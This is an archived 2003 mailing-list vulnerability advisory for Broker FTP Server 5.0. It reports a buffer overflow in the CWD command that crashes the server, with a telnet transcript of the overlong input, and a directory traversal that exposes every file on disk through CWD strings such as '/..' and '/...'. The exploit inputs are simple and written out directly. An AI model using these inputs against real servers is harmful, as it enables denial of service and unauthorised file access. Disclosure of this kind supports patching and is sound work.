Buffer Overflow in Broker FTP Server

From: subj (r2subj3ctat_private)
Date: Sun Mar 30 2003 - 11:32:30 PST

  • Next message: Lorenzo Manuel Hernandez Garcia-Hierro: "Sambar Server "Buffer OverFlow" Vulnerabilities"

    
     ('binary' encoding is not supported, stored as-is)
    Product : Broker FTP Server
    Version : 5.0
    OSystem : Windows
    Authors : TransSoft
    WebSite : http://www.ftp-broker.com
    Problem : 
            * Buffer Overflow in field CWD
            * Access to all files on a disk
    
    #[Denial of Service]#
    
    Description:
    ------------
    
    eng:
    ====
    To arrange overflow in field CWD, necessary to send on it more than 256 
    bytes of dust.
    After that server will fall, and will not submit any life attributes.
    
    Exploit:
    --------
    *************************************
    >>Telnet 127.0.0.1:21
    220 FTP Server Ready [***]
    >>USER anonymous
    331 Password required for anonymous.
    >>PASS anonymous@localhost
    230-Welcome to Broker FTP Server.
    230-
    230 User anonymous logged in.
    CWD AAAAAAAAAAA......AAAAA [256b]
    *************************************
    
    
    #[Access to all files on a disk]#
    
    Description:
    ------------
    
    rus:
    ====
    За счет этой уязвимости вы можете получить доступ ко всем файлам на 
    жестком диске сервера
    eng:
    ====
    Due to this vulnerability you can get access to all files on a hard drive 
    of the server
    Exploits:
    
        Current Directory : "/"
    CWD *
    CWD /*
    CWD /..
    CWD /...
    CWD /.../
    
    Contacts:
    ---------
    
    r2subj3ctat_private
    subj.24h.to (www.dwcgr0up.com/subj/)
    www.dwcgr0up.com
    irc.dwcgr0up.biz #dwc
    
    Thanks:
    -------
     DHG, GipsHack, Netp0is0n, de1irium, r00tc0de, f0kp, exploit.ru, nobodies
     DethSpirit, r4ShRaY, D4rkGr3y, Moby, Orb, Foster, Owned, prior, Demon.
    



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